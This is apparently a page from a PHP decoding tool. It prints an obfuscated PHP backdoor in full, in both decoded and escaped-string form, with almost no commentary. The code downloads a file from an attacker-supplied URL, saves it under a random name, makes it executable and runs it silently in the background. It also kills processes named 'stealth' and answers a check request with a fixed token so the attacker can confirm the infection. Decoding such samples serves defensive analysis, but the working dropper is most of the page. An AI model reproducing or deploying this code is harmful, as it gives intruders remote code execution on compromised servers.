Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*version 3.0*/ goto Ce953ca92b57b3f; B78b3fa56b21f41: if (!($_POST["\x63\x70"] == "..

Decoded Output download

<?php /*version 3.0*/ goto Ce953ca92b57b3f; B78b3fa56b21f41: if (!($_POST["cp"] == "download")) { goto B4364e8367d135b; } goto c1e4d4a1d29b43b; C81de1fbb9f1517: if (empty($c18fcb92e5f6828)) { goto Feee6ca01cf5c69; } goto db2d71d77dbc3a7; a0383272244a537: Feee6ca01cf5c69: goto C5633157057fd46; bc68cddee608674: exec("pkill -9 -f stealth"); goto F2ad00d423ce0d7; E6e6f3f6934e7e7: Cebc75dba8d7d63: goto B78b3fa56b21f41; F2ad00d423ce0d7: exec("pkill -f -9 stealth"); goto b1a11b4b199a359; B991956e5a989a1: echo "aux6TheioGhueQu3"; goto c7401c4638c6e55; c7401c4638c6e55: die; goto E6e6f3f6934e7e7; e9164099db2035f: $c18fcb92e5f6828 = $_POST["url"]; goto C81de1fbb9f1517; bad1539efb2d98e: chmod($Dd974c32531a971, 0755); goto Bc22a58ffd17403; Ce953ca92b57b3f: error_reporting(0); goto f2c65f5fa5872c2; c1e4d4a1d29b43b: $Dd974c32531a971 = substr(str_shuffle(str_repeat($Dcc407b109d1c6e = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", ceil(6 / strlen($Dcc407b109d1c6e)))), 1, 6); goto e9164099db2035f; Ce8caaece3aac2f: file_put_contents($Dd974c32531a971, $A422b038ebc7498); goto bad1539efb2d98e; f2c65f5fa5872c2: if (!($_GET["cg"] == "chk")) { goto Cebc75dba8d7d63; } goto B991956e5a989a1; b1a11b4b199a359: $A422b038ebc7498 = file_get_contents(trim($c18fcb92e5f6828)); goto Ce8caaece3aac2f; B9da6f35e0c1fa9: echo "ok"; goto a0383272244a537; eb0ba8255c82f81: exec($e26b4dbcb95927b); goto B9da6f35e0c1fa9; db2d71d77dbc3a7: @unlink($Dd974c32531a971); goto bc68cddee608674; Bc22a58ffd17403: $e26b4dbcb95927b = "./{$Dd974c32531a971} > /dev/null 2>/dev/null &"; goto eb0ba8255c82f81; C5633157057fd46: B4364e8367d135b: 
 ?>

Did this file decode correctly?

Original Code

<?php /*version 3.0*/ goto Ce953ca92b57b3f; B78b3fa56b21f41: if (!($_POST["\x63\x70"] == "\x64\x6f\x77\x6e\x6c\157\x61\x64")) { goto B4364e8367d135b; } goto c1e4d4a1d29b43b; C81de1fbb9f1517: if (empty($c18fcb92e5f6828)) { goto Feee6ca01cf5c69; } goto db2d71d77dbc3a7; a0383272244a537: Feee6ca01cf5c69: goto C5633157057fd46; bc68cddee608674: exec("\160\153\x69\x6c\154\40\55\x39\40\55\146\x20\x73\164\145\141\154\164\x68"); goto F2ad00d423ce0d7; E6e6f3f6934e7e7: Cebc75dba8d7d63: goto B78b3fa56b21f41; F2ad00d423ce0d7: exec("\x70\x6b\x69\x6c\154\x20\55\x66\40\55\x39\40\x73\164\x65\x61\154\x74\x68"); goto b1a11b4b199a359; B991956e5a989a1: echo "\141\x75\x78\66\x54\150\x65\x69\x6f\x47\150\x75\145\121\165\x33"; goto c7401c4638c6e55; c7401c4638c6e55: die; goto E6e6f3f6934e7e7; e9164099db2035f: $c18fcb92e5f6828 = $_POST["\165\x72\x6c"]; goto C81de1fbb9f1517; bad1539efb2d98e: chmod($Dd974c32531a971, 0755); goto Bc22a58ffd17403; Ce953ca92b57b3f: error_reporting(0); goto f2c65f5fa5872c2; c1e4d4a1d29b43b: $Dd974c32531a971 = substr(str_shuffle(str_repeat($Dcc407b109d1c6e = "\x30\61\62\x33\64\x35\66\67\70\x39\141\x62\x63\144\145\146\x67\x68\x69\152\x6b\154\155\x6e\x6f\160\161\162\x73\164\165\166\x77\x78\x79\172\x41\102\x43\104\x45\106\x47\110\x49\x4a\113\114\115\116\117\120\x51\122\123\x54\x55\126\127\x58\131\x5a", ceil(6 / strlen($Dcc407b109d1c6e)))), 1, 6); goto e9164099db2035f; Ce8caaece3aac2f: file_put_contents($Dd974c32531a971, $A422b038ebc7498); goto bad1539efb2d98e; f2c65f5fa5872c2: if (!($_GET["\x63\x67"] == "\x63\150\x6b")) { goto Cebc75dba8d7d63; } goto B991956e5a989a1; b1a11b4b199a359: $A422b038ebc7498 = file_get_contents(trim($c18fcb92e5f6828)); goto Ce8caaece3aac2f; B9da6f35e0c1fa9: echo "\x6f\153"; goto a0383272244a537; eb0ba8255c82f81: exec($e26b4dbcb95927b); goto B9da6f35e0c1fa9; db2d71d77dbc3a7: @unlink($Dd974c32531a971); goto bc68cddee608674; Bc22a58ffd17403: $e26b4dbcb95927b = "\x2e\57{$Dd974c32531a971}\x20\76\x20\x2f\x64\145\x76\57\156\165\154\x6c\x20\x32\76\x2f\144\145\166\57\156\165\x6c\x6c\40\46"; goto eb0ba8255c82f81; C5633157057fd46: B4364e8367d135b:

Function Calls

None

Variables

None

Stats

MD5 734bc4c3375d1ba5ba5fa7bb71fb01aa
Eval Count 0
Decode Time 80 ms